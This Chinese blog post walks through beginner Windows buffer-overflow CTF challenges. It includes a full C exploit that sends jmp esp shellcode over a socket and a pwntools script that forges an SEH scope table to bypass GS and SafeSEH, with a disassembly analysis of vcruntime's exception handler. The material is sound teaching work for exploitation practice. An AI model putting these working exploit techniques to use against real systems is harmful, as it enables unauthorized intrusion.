Windows的一些溢出题目

 

题目的来源是

微软杯Exploit Me安全调试技术挑战赛 赛题

题目下载链接

https://bbs.pediy.com/thread-133191.htm

 

辞旧迎新exploit me挑战赛

题目下载链接

https://bbs.pediy.com/thread-57317.htm

 

其实题目都没有什么好说的==

都是一些很老的题目===  纯粹的是当作萌新练手用=

先看一下  辞旧迎新的 A题=

打开发现是 关于 socket  的通信内容

然后 再往下看发现了一个危险函数

首先大家注意我们接受可以是512字节的空间  那么 参数传进去的时候发现了

发现了直接的copy 竟然也没有判断一下 大小空间的问题==

然后可以直接 jmp esp  shellcode 一把梭 

至于jmp esp 我是在 kernel32.dll 里面找到的=

下面的 exp

#include "stdafx.h"
#include "stdio.h"
#define WIN32_LEAN_AND_MEAN   
#include "windows.h"
#include "winsock2.h"
#include <cstdlib>
#pragma comment (lib,"ws2_32.lib")

unsigned char shellcode[] =
"\x90\x90\x90\x90" 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x61\x20\x20\x20\x68\x70\x69\x78\x69\x68\x79\x20\x70\x69\x68\x65\x64\x20\x62\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00";
int _tmain(int argc, _TCHAR* argv[])
{
	/*
	for (int i = 0; i < strlen((char *)shellcode); i++)
	{
		printf("%x ",  shellcode[i]);
	}*/
	WSADATA ws;
	sockaddr_in serveraddr;
	char buffer[500];
	SOCKET  m_SockClient = INVALID_SOCKET;
	WSAStartup(MAKEWORD(2, 2), &ws);
	serveraddr.sin_family=AF_INET;
	serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.159.139");
	serveraddr.sin_port = htons(7777);
	m_SockClient=socket(AF_INET, SOCK_STREAM, 0);
	if (connect(m_SockClient, (sockaddr*)&serveraddr, sizeof(serveraddr)) !=0)
	{
		printf("[*]连接失败!!\n");
	}
	else
	{
		memset(buffer, 41, 500);
		memcpy(buffer + 200, "\x13\x44\x87\x7c",4);
		memcpy(buffer + 204, shellcode, 189);
		send(m_SockClient, buffer, strlen(buffer) + sizeof(char), 0);
		closesocket(m_SockClient);
		WSACleanup();
		printf("[*]发送成功!!\n");
		
	}


	
	system("pause");
	return 0;
}

用od 调试一下 发现了

 

成功执行到了shellcode  然后弹出了窗口

然后接下来的题目有空就回去继续更新。。。

微软杯第四题

打开题目

 

大致可以看到这么多的东西

可以看到有一个危险函数已经标注起来了

然后可以看出是有一个异常处理

 

这里可以根据异常处理 来绕过GS

这里可以根据0days  的那本书  来找到答案

那么我们来看一下 我们的情况

我们先去找一下我们说所的那个 call [ebp+n]

这里的插件已经下载好了 我们呢来看一下

这里我们找到了 call [ebp+0x30]

然后我们这里到达了异常点

然后这里已经用了shellcode  然后我们跟进去看一下 

这里的 栈看一下

 

那么问题来了 这里的 12ff44 是在哪 

我们看一下

哦吼 !!!!!

 那么根据大佬们的exp  这个题目的思路就很清晰了

首先把se 的hander 给修改成 我们的 跳板 然后把上面的值搞成一个短跳转  

然后再跳到长跳转的地方  然后去执行shellcode

然后   1.txt 的内容   详情可以看

看雪的大佬文章

https://bbs.pediy.com/thread-134903.htm

很棒=

HITB GSEC BABYSTACK

 

这就是一道CTF的题目了 ==

参考了EX大佬的博客写了这篇文章 ==

其中还有EX大佬写的一个 东西 可以用来pwntools交互的

https://github.com/Ex-Origin/win_server

里面用到的东西 就是  CreatePipe 然后利用的是 进程的管道通信   然后开启了三个线程 分别就是 读写 结束

对此感兴趣的同学 可以去看看ex 大佬写的博客  还有代码

 

然后我们先看这个题目

然后 发现是有异常处理的

溢出点就在 v9这里

但是我们看汇编会发现  有gs保护 这个程序 还有safeseh     有点难顶

不过给了后门函数

这里可以看到 这样的代码

.text:0040137C                 mov     ecx, [ebp+var_CC]
.text:00401382                 add     ecx, [ebp+var_D0]
.text:00401388                 cmp     ecx, 3

 

个人猜测 应该就是   这个条件完全不成立 导致了 ida 直接给优化掉了 ====

不过这里确实是一个后门函数

 

可以看到一开始就注册了异常函数   这个异常函数 栈溢出就可以直接触发

ok  后门函数有了   栈溢出的地方也找到了   绕过 GS 出发 SHE的方法也有了   接下来就是怎么硬刚这个safeshe了

处理SHE的vcruntime140.dll 里面拖入ida里面可以看出很多东西

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

 

会发现了两个好玩的地方   就是  调用 FilterFunc 调用 HandlerFunc 这两个函数 

其实这里我们有了一个方法  就是 伪造   Scope Table  然后 伪造这两个函数 就ok

注意一点就是  注意GS的恢复 上面还有GS的认证

伪造表 成功

 

 

成功拿到权限  

                                              Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

 exp 就直接用EX师傅的吧===  思路get到了

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('10.0.0.37', 8080)

def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))


pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 733,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
pause()
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

 

然后suctf 有一道和上面类似的题目  也叫babystack ==

其实方法和上面的基本一样 =

 

依然有后门函数 还有 任意读取的功能

 

里面可以看到一点

可以通过div 然后可以 有异常 进入    任意读取的那个地方

 然后 所有的思路 就和我们上面的一样了

 

 

 

 

 

 

 

 

参考资料

http://blog.eonew.cn/archives/1182

https://bbs.pediy.com/thread-134903.htm

0day安全:软件漏洞分析技术

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值